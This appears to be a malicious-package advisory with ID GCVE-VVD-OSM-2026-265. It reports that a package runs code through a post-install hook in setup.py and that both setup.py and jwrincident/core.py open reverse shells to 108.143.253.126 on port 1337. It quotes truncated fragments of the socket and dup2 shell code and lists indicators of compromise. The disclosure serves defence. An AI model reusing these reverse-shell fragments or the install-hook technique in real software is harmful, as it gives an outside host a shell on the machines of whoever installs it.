GCVE-VVD-OSM-2026-265

Malicious package detected. Behaviors: code execution, network activity. Payload: setup.py Secondary files: jwrincident/core.py Key findings: - Reverse Shell in jwrincident/core.py: "socket.socket() s.connect(("108.143.253.126", 1337)) os...." - Reverse Shell in setup.py: "socket.socket();s.connect((\"108.143.253.126\",1337));os.dup2(s.fileno(),0);os.d..." - Shell Command Execution in jwrincident/core.py: "subprocess.call(" - Shell Command Execution in setup.py: "os.system(" - setup.py Code Execution in setup.py: "class PostInstall(install): def run(self): def cb(): os...." IOCs: - ipv4: 108.143.253.126 - payloadFileHash: 4a459432050666add19799654f7eb6f108c3db1a523cc1460e93b9bfb6548728